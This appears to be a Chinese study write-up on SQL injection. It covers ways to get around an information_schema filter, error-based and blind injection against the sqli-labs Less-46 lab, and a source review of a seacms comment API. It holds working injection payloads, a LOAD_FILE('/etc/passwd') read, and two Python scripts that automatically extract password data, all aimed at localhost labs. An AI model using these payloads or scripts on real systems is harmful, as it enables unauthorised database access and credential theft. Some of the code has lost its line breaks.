一、若information_schema被过滤了,应该如何绕过
简介:
information_schema 是一个非常重要的系统数据库,它在SQL标准中定义,并且被许多关系型数据库管理系统(RDBMS)如MySQL、PostgreSQL等支持。这个库提供了一个访问数据库元数据的方式,即关于数据库本身的数据,包括数据库名、表结构、列属性、访问权限等等。
作用:
元数据查询:允许用户查询数据库中的元数据,例如获取所有数据库列表、特定数据库下的所有表、表中的所有列等。
权限管理:可以用来检查用户的权限,比如某个用户对特定表是否有读写权限。
优化与调试:开发人员和数据库管理员可以通过查询information_schema来优化查询性能或调试问题,例如查看索引的使用情况、表的大小等。用途:
information_schema 中包含多个视图,每个视图都提供了不同类型的元数据信息:
- SCHEMATA:列出当前服务器上的所有数据库(schema)。
- TABLES:显示当前数据库中所有表的信息,包括表类型(BASE TABLE, VIEW等)。
- COLUMNS:展示指定表的所有列的详细信息,包括列名、数据类型、是否允许NULL值等。
- VIEWS:提供有关视图的信息,包括视图的定义。
- KEY_COLUMN_USAGE:描述外键约束的细节。
- STATISTICS:提供索引相关信息。
- USER_PRIVILEGES:显示授予用户的全局权限。
- ROUTINES:存储过程和函数的相关信息。
使用场景:
获取所有数据库列表
SELECT schema_name FROM information_schema.schemata;
查询某数据库下所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name';
查找表中所有列及其数据类型
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name';
具体实现 (使用其他数据库)
information数据库被过滤了,如果我们输入中存在information就会被判定为SQL注入,所以我们就不使用information这个数据库即可。
小知识:MySQL 5.7引入了sys数据库,它是一个基于performance_schema和information_schema构建的视图集合,提供了更易于理解的数据。可以使用sys.schema_auto_increment_columns或sys.schema_table_statistics_with_buffer来获取数据库和表的信息。
先观察表的数据:表sys.schema_table_statistics_with_buffer
DESCRIBE x$schema_table_statistics_with_buffer;
MySQL默认存储引擎innoDB携带的表
1、mysql.innodb_table_stats
2、mysql.innodb_index_stats
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();
关键字做处理
- HEX编码:0x696E666F726D6174696F6E5F736368656D61
- 字符串:concat('informa','tion_scheam')
- 大小写:INforMation_Scheam
时间盲注
SELECT IF(ASCII(SUBSTRING(DATABASE(), 1, 1)) = 97, SLEEP(5), 0);
如果条件为真,数据库将延迟5秒才返回结果,否则立即返回。通过调整不同的字符和条件,你可以逐渐拼凑出表名(可使用python脚本破解)
布尔盲注(Python脚本)
SELECT CASE WHEN (SELECT SUBSTRING(mysql.innodb_table_stats, 1, 1) FROM your_table LIMIT 1) = 'a' THEN 1/0 ELSE 1 END;
利用联合查询
SELECT id, name FROM users WHERE id = 1 UNION SELECT table_name, '' FROM your_table;
文件读取
某些数据库允许从文件系统中读取文件内容。例如,在MySQL中,你可以使用 LOAD_FILE() 函数读取服务器上的文件。
假设你想读取 /etc/passwd
文件的内容:
SELECT LOAD_FILE('/etc/passwd');
这种方法通常需要有相应的权限,并且很多环境都会禁用这种功能。
二、order by(第46关)
1、实验环境
sqliab靶场第四十六关
需要开启小皮MySQL以及NGINX本地部署
2、报错注入
a、查看security库下的所有表
http://127.0.0.1/sqliab/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
b、查看users表下的所有字段
http://127.0.0.1/sqliab/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
c、查看username,password字段下的所有值
http://127.0.0.1/sqliab/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)--+
3、布尔盲注
import requests
from bs4 import BeautifulSoupdef get_content(resp):soup = BeautifulSoup(resp.text, 'html.parser')username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username_elem.text.strip() if username_elem else Nonedef binary_search_injection(base_url, sql_query_template, max_length=100):result = []for i in range(1, max_length + 1):left, right = 32, 127while left <= right:mid = (left + right) // 2url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))try:resp = requests.get(url)content = get_content(resp)if content == 'Dumb':left = mid + 1else:right = mid - 1except Exception as e:print(f"请求 {url} 失败: {e}")breakif left > 127 or left < 32:breakchar_to_add = chr(left)if char_to_add.isspace():breakresult.append(char_to_add)print(''.join(result)) return ''.join(result)if __name__ == '__main__':base_url = "http://127.0.0.1/sqliab/Less-46/index.php?sort={sql_query} -- "database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char},id,username)"column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char},id,username)"data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char},id,username)"# print(binary_search_injection(base_url, database_query))# print(binary_search_injection(base_url, table_query))print(binary_search_injection(base_url, column_query))# print(binary_search_injection(base_url, data_query))
4、时间盲注(只是修改了pyload,其余代码不变与9关相同)
import requests
import timedef inject_with_time(base_url, sql_query_template, delay=5, max_length=100):result = []for i in range(1, max_length + 1):left, right = 32, 127while left <= right:mid = (left + right) // 2query = sql_query_template.format(index=i, mid_char=mid, delay=delay)url = base_url.format(sql_query=query)start_time = time.time()try:resp = requests.get(url)except Exception as e:print(f"请求 {url} 失败: {e}")breakelapsed_time = time.time() - start_timeif elapsed_time > delay:left = mid + 1else:right = mid - 1time.sleep(0.1)if left > 127 or left < 32:breakchar_to_add = chr(left)if char_to_add.isspace():breakresult.append(char_to_add)print(''.join(result)) return ''.join(result)if __name__ == '__main__':base_url = "http://127.0.0.1/sqliab/Less-46/index.php?sort={sql_query} -- "database_query = "if(ascii(substr(database(),{index},1))>{mid_char}, sleep({delay}), 0)"table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char}, sleep({delay}), 0)"column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char}, sleep({delay}), 0)"data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char}, sleep({delay}), 0)"# print(inject_with_time(base_url, database_query, delay=5))# print(inject_with_time(base_url, table_query, delay=5))print(inject_with_time(base_url, column_query, delay=5))# print(inject_with_time(base_url, data_query, delay=5))
三、seacms海洋系统的报错注入分析
1、实验环境
海洋影视管理系统(seacms,海洋cms)是一套转为不同需求的站长而设计的视频点播系统,采用的是php5.x+mysql的架构。
2、漏洞分析:
漏洞文件:./comment/api/index.php,漏洞参数:$rlist
主要还是这个$rlist这可能有外部数据
源码:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{if(file_exists($jsoncachefile)){$json=LoadFile($jsoncachefile);die($json);}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{createTextFile($h,$jsoncachefile);
}
die($h); function ReadData($id,$page)
{global $type,$pCount,$rlist;$ret = array("","",$page,0,10,$type,$id);if($id>0){$ret[0] = Readmlist($id,$page,$ret[4]);$ret[3] = $pCount;$x = implode(',',$rlist);if(!empty($x)){$ret[1] = Readrlist($x,1,10000);}} $readData = FormatJson($ret);return $readData;
}function Readmlist($id,$page,$size)
{global $dsql,$type,$pCount,$rlist;$ml=array();if($id>0){$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";$rs = $dsql ->GetOne($sqlCount);$pCount = ceil($rs['dd']/$size);$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";$dsql->setQuery($sql);$dsql->Execute('commentmlist');while($row=$dsql->GetArray('commentmlist')){$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}}$readmlist=join($ml,",");return $readmlist;
}function Readrlist($ids,$page,$size)
{global $dsql,$type;$rl=array();$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";$dsql->setQuery($sql);$dsql->Execute('commentrlist');while($row=$dsql->GetArray('commentrlist')){$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}$readrlist=join($rl,",");return $readrlist;
}function ReadReplyID($gid,$cmid,&$rlist)
{global $dsql;if($cmid>0){if(!in_array($cmid,$rlist))$rlist[]=$cmid;$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");if(is_array($row)){$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);}else{$ReplyID = "";}}else{$ReplyID = "";}return $ReplyID;
}function FormatJson($json)
{$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";for($i=6;$i>=0;$i--){$x=str_replace("%".$i."%",$json[$i],$x);}$formatJson = jsonescape($x);return $formatJson;
}function jsonescape($txt)
{$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));return $jsonescape;
}
通过源码分析可知,是$rlist出现了注入点
输入
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
页面无回显